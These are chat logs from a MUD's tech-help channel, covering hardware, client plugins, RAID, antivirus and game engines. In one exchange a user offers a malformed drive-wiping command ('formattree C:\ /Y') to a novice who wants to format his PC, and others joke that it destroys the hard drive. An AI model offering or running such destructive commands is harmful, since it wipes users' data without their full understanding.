T3/r7/2013-04-01.txt.gz:{chan ch=tech}Tigernuts Tech: haste attacks in dtrack hits, does it only track haste, or does it bundle haste and lightspeed?
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sheeeeeit. been listening to music with my new amp all evening and it's fucking amazing
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Hell yeah!
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the amp is amazing tho
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sounds even better because i had to use crappy 2.1 desktop speakers for a month
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: OMG the speakers I have now are badass compared to my 2.0 desktop speakers from the 90s.  Had those puppies since I was 7.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I loved those things... beige and they had a bass toggle that did nothing
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i need new speakers. current ones are good, but not good enough
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Seltsimees, you can always use better speakers.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: I love a good speaker setup
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: harman/kardon hk 680i with pioneer z-s92 speakers
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i think i should invest in proper monitors
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, the pioneers are freaking huge. at least when kept on the desk
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have junk desktop speakers that i barely ever turn on or up at all but as soon as i do the neighbors complain
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: maybe the neighbors just don't like the quality of sound and i should get something better and louder
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why not something fresh? like dextard?
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: bleh. mis again
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i should stop drinking
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you obviously haven't drank enough. you caught that was a mischan
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: I have one of those "is is possible questions :)
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ontuct Tech: is is possible
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: is it* even
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: anywho i have a 3drive raid 5 right now
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: thanks for letting us know. much appreciated
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: they are 3 - 2T drives
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: sounds possible to me
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Ontuct Tech: I know I will sleep better knowing it
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: I picked up a 4T drive and instead of just adding it and losing the extra 2T could I partition it and add both partitions to the raid?
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: yeah. basically a mirror with a spare
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: only 4tb of the new drive would be used
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: er 2tb
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: yea i figured that, didnt know if i could split partition it or if it was stuck to only using the 2T
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: you cann't increase or decrease the total size of the raid array without recreating it
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: was going to "grow" it
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: software raid ?  or hardware raid
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: software
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: home
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: but wasnt sure if it was worth attempting - didnt want to jack my raid completly
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: i woulda thought to grow it you'd need to replace all 3 drives with 4tb
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: depends on how the software works.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: but by "grow" i imagine it means adding in a new 2tb disk
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: possible, i havnt attempted it - i have openmediavault sitting on a debian squeeze box
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: thus making it 4 drives
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: yea i would assume the same thing - i didnt know if i could add 2 partitions making it think 5 rather than 4
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Tech: Thunderous Norton shrugs helplessly.
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: i might just use the 4tb for backup for now until i grab a few more drives
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Doc Holliday Tech: they had the 4t externals for 130 so i picked it up
T3/r7/2013-04-01.txt.gz:{chan ch=tech}GraySong Gregor Tech: How to mark room as first room in area with mapper? Forgot syntax
T3/r7/2013-04-01.txt.gz:{chan ch=tech}GraySong Gregor Tech: How to mark room as first room in area with mapper? Forgot syntax
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Hanslanda Tech: mapper help
T3/r7/2013-04-01.txt.gz:{chan ch=tech}GraySong Gregor Tech: it's not on that list
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Riddim Tech: If you have winkle's addons, xset mark
T3/r7/2013-04-01.txt.gz:{chan ch=tech}GraySong Gregor Tech: thank you riddim!
T3/r7/2013-04-01.txt.gz:{chan ch=tech}Riddim Tech: It's not part of the mapper (?)
T3/r7/2013-04-01.txt.gz:{chan ch=tech}GraySong Gregor Tech: I see, thank you
T3/r7/2013-04-02.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: in mush, whats the plugin called that has miniquest, cp, gq in a little box called?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Zetkax Tech: winkles search and destroy?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: no dont think thats it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Mc Cruentis Tech: its by bast
T3/r7/2013-04-02.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: ya
T3/r7/2013-04-02.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: got it back
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: any websites with free anti virus thats good out there?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}BobTheGreat Tech: If you're using Windows 7+, the builtin security essentials is pretty good.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Soft and Silke Tech: check out CNET.I've had good luck with the DLs from there.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: i cant find the built in security essentials program my programs on the pc dont want to open
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Ozu Tech: security essentials isnt pre loaded afaik. need to d/l and install it from MS site
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Daloran Tech: http://windows.microsoft.com/en-us/windows/security-essentials-download <-- said site
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: any advise on how to get pc to open files and allow me on internet?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Daloran Tech: That is a very vague question, Roque
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Slyzora Tech: format windows, reinstall
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Atoam Tech: Did you try the "work as expected" button?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: damn so i will need windows cd then
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Daloran Tech: It's a good thing to have on hand anyway
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: ok no format no nothing ava anti virus wants activation code i dont have and i cant connect to internet so do i throw pc against wall and see if that works?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Out the window will suffice.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: i cant even find were to deactivate this ava thing
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Grab a thumb drive, place on the hard drive what you want to keep, format the computer, reinstall OS. The 'nuke it from orbit' approach
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you forgot "stop using computers" part, vakieh
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Turie Tech: Vakieh: You forgot to say "Give it to Dagnir because he will just put a super magnetic to the computer for you instead."
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: if i could format it i would it doesnt want to be formatted
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: and thanks for the jokes i know i suck with computers
T3/r7/2013-04-02.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: take it to someone who is
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Turie Tech: If it does not want to be formated, then you have a living being trying to stay alive on you.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: funny i cant get it to format if it was living i wouldve sold it and made billions
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Turie Tech: Or it would just reformat your harddrive and take over you.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: guys want 1000 bucks to fix it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Sneak Tech: what, rupees?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: whats rupees?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Turie Tech: Rupees is the currency of India. Sneak was being snyde.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: Rands think they worth a little more then rupees
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No, rupees are the currency of the land of hyrule!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: screw rupees who knows how to format a pc that doesnt want to be formatted
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: formattree C:\ /Y
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 1 t in formatree i think, now that I look at it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Turie Tech: Cheezburger: Stop trying to give him your famous recipe for Cream of Harddrive Soup.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: he said he wanted to format... that's what that command does
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Or better yet, get a Knopix or other linux disc and format it as ext4 and use Linux like a real boss :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: hi i have a question i have downloaded and installed tha Winklewinkle extender gui _2_8 ,Mapper extender , s&d plugin.. and i dont see the search and destroy window you get when it is installed please help me 
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: probably under some windows, try sending some to back
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: i already checked cant seem to find it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And when you installed it, you got a message that the plugin was installed in your main window?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: yes i did 
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You installed all 3 plugins that comes in the winkle package?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: yes i did 
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I don't know that it matters (it shouldn't) but I always suggest installing the GUI plugin last.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: ok ill try again thanks :)
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: it doesnt seem to help much i am still not getting the window
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You sure it's not hidden behind your main world?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: as sure as i can be 
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I really have no idea, then
T3/r7/2013-04-02.txt.gz:{chan ch=tech}StArLiGhT Tech: thanks then ill try redownloading from website
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: what program or coding langauge is best suited for a beginner programmer to create a 3D game in
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Unity
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Xaeris Tech: Unity, most likely.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: how much does it cost
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Free to use, have to pay to publish
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So you can learn/fiddle with it as much as you like at no cost, but if you plan to sell the game then you have to pay them
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: i see interesting ill check it out thanks
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: or, wait till sprint and get Project Anarchy
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: spring*
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Which, if all goes according to intent. Will be a 100% free game development platform. Production and all.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: i am looking at the website it looks to me like more of a graphics creation program than a code langauge.if me and friends are making a game i will only do the code not any graphics what will suggest then
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Xantcha Tech: You're going to need both sides... your language has to control your graphics... Unity has the built-in scripting language, built on Mono
T3/r7/2013-04-02.txt.gz:{chan ch=tech}RoqueWarrior Tech: this channel is french to me
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can'y make games without graphics :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: can't*
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers with Helperful Cheezburger about their shared secret.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: Nuanse snickers softly.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nods, Unity is a very C#-like language
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: you can, IIRC there was one contest for doing games for blind
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's called a MUD :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto crosses his arms and nods slowly and sagely to Helperful Cheezburger.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Nuanse Tech: text based chess is a mud?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It was a joke, dude
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Lol
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: ok thanks  i will try it if only the file wasnt so huge i hate having a internet cap.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: torrent it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: and by huge i mean over one hundred mega
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: could cloudy skies and lighting affect 3G HSDPA and EDGE
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Thunderax Tech: probably not terribly imo
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Thunderax Tech: only satellite afaik?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Sunlight will affect it more than clouds will, actually
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: so if you normally get 5 signal bars but then suddenly have one it is most likely the tower?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: tower could be full
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: or you could be living in Ermelo , Mpumalanga
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: if you are able check whether you are logged to the same base station as usual - that could say something
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: you can just try to log off and log on - there is chance you will log to better station
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: though that won't work if it is only station in your neightbourhood
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: sometimes my dad gets 1 kbps at his work then at other times 1 mbps and he is in the middle of town
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: that really doesn't matter
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: in urban areas usually there are more stations, but not all are equally fast / good
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: ok i see thanks
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And some have more traffic and thus less bandwidth for the individual
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: also, each station has its capacity - let's say it will log only 100 connections, so 101 connection has to be served by another station
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: also, weather, strong EEM can influence signal - so you may be switched to worse station, just because it appear to have better signal
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Trachx Tech: err, EM or EMR rather not EEM
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: up = 480 b/s down 1.60 kb/s
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The point was clear regardless :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: and that was in the middle of a fight
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Your state on aardwolf doesn't influence your up and down.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, it affects your current traffic, but not your overall speed.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: well maybe my number of hops can be the reason for the lag
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Doubtful
T3/r7/2013-04-02.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how much onboard graphics does a motherboard usually have?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: i have 23 hops
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger boggles at DragoDrake Dragoknight.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it depends on the build in GPU
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: how do you quantify onboard graphics?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: built-in*
T3/r7/2013-04-02.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: graphics card fried...
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: and now there is lightning great
T3/r7/2013-04-02.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: do i need chipset to activate graphics...already got s3 thing
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: What are you even asking?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe he's building a diy mobo? :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If he's asking questions like that, he's way out of his league for mobo dev :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Ranrr Tech: I miss S3 virge
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Tigerdirect -> msi/gigabyte/asus mobo -> buy -> viola
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I think what you're looking for is to google "<insert GPU model here> benchmark"
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: how do you remove the {chan ch=debate} tag
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tags channels off
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: thanks that was hell irriating
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: and the <mapend>
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tags maptags off
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: just type tags
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you can turn them all off by doing tags off
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: you can turn them all off by doing tags off
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: sorry
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Grissom Tech: no prob cheeze thanks
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Slyzora Tech: I'm on bbssh, when i minimize the client and maximize it after a few minutes, its disconnects and shows a message with my ip adress that this user tries to connect to aard.. it happens quite allot now.. any ideas why?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Slyzora Tech: ?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tepeyollotl Tech: any ideas on what to do when Trigger function "invmon" not found or had a previous error. starts showing up all the time? tried reloading mush, reloading both eqdb and mneq plugins and it still keeps coming back.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tepeyollotl Tech: just started about half an hour ago.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Makala Tech: happens to me sometimes. try reloading and doing eqdb refresh
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tepeyollotl Tech: reload mush? or eqdb plugin?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Makala Tech: just the plugin, but you can do the command first then reload
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tepeyollotl Tech: kk. ty. will give it a go.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Makala Tech: most of the errors I get with that plugin are fixed with a refresh
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tepeyollotl Tech: appears to be better. tyvm. :)
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: my score window went poof
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: shift+ctrl+p select the stat plugin, click reinstall
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: if it's not in that list, that's your problem. Click add and select it
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: it's 'statmon' correct?
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Leinei Tech: probably not
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Leinei Tech: not if it's one that's included in aardmush
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, by the looks of it it might be
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Leinei Tech: I have statmon off, none of the scripts try to turn it on, and my score window works fine
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So i opened up the plugin, and it is.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: I do have the aardmush... it's the only one with "stat" in the name
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nah, it's called statmon but it uses gmcp
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: reinstall that plugin, if that doesn't work try 'resetaard'
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: what does that mean?  I looked in the directory, and saw statmon_gmcp, but attempting to install it returns the message that it is already instelled... 
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: ACK!!!!!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: add != reinstall
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: I "resetaard-ed"... oh golly - oh my!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: I'll never recover from this!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: it just moves your windows back to default positions, completely reversable
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: it worked, though... stat window is back
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: I spent at LEAST 40-50 hours getting those windows juuuuuuuust right!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In other words, you covered up your stat window at some point :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If it takes you 40 hours to move 7-9 windows, you've got some OCD issues :P
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: no... I was kidding about the anal-retentiveness... I slid all the windows around looking for the stat window befor I went to tech channel
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Vonliege Tech: not sure where it was, but it's back now.  take me 30-40 seconds to rearange them.  THANKS everyone!
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Sorok Tech: is there a way to view a list of queued spells/actions when using the official client
T3/r7/2013-04-02.txt.gz:{chan ch=tech}Stama Tech: echo test for reply. 3G speed test
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: anyone had any problems with mushclient crashing windows 7?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Incredible Iceman Tech: mine doesnt
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: mine neither
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Leinei Tech: How do you know it's MUSH that's doing it?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: mush freezes and then not even control alt delete will work, only does it in mush
T3/r7/2013-04-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: virus scan!
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel failed the scan!  Log off!  Log off!
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: did 2 virus scans, both negative
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Leinei Tech: freezes how?  does the cursor still move when you move the mouse?  you have to manually power off the comp?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: have to manually power off the computer
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Leinei Tech: and the mouse?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: moves, but wont shut anything off
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: sounds like something uses 100% processor
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: well, that would do it, i get the circle thing saying it's processing
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: after you pressed contr alt del, how long did you wait for something to happen?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: any suggestion, been doing it off and off for days, today 4 times in 20 min
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: reinstalled mush already I assume?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: no, haven't done anything
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: try downloading the latest mush and install that one. see what happens
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: ok
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: dont install all extra plugins yet. First see if mush runs correctly then start installing extra plugins
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: sounds good
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: where do you get it again?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Ayasinda Tech: finger fiendish for the url
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: xp support will be gone in 1 year and 5 days. can't wait
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: no, it's a pain in the ass. What am I to do with my windows boxes?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Atoam Tech: So what, everyone will just stay at their current level?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: lol, people still use windows?
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: well, the alternative is mac if you need word
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: linux
T3/r7/2013-04-03.txt.gz:{chan ch=tech}Swalec Tech: noticably short on word
T3/r7/2013-04-03.txt.gz:{chan ch=tech}GraySong Gregor Tech: you can download libre office, does the same as microsoft word except it's free
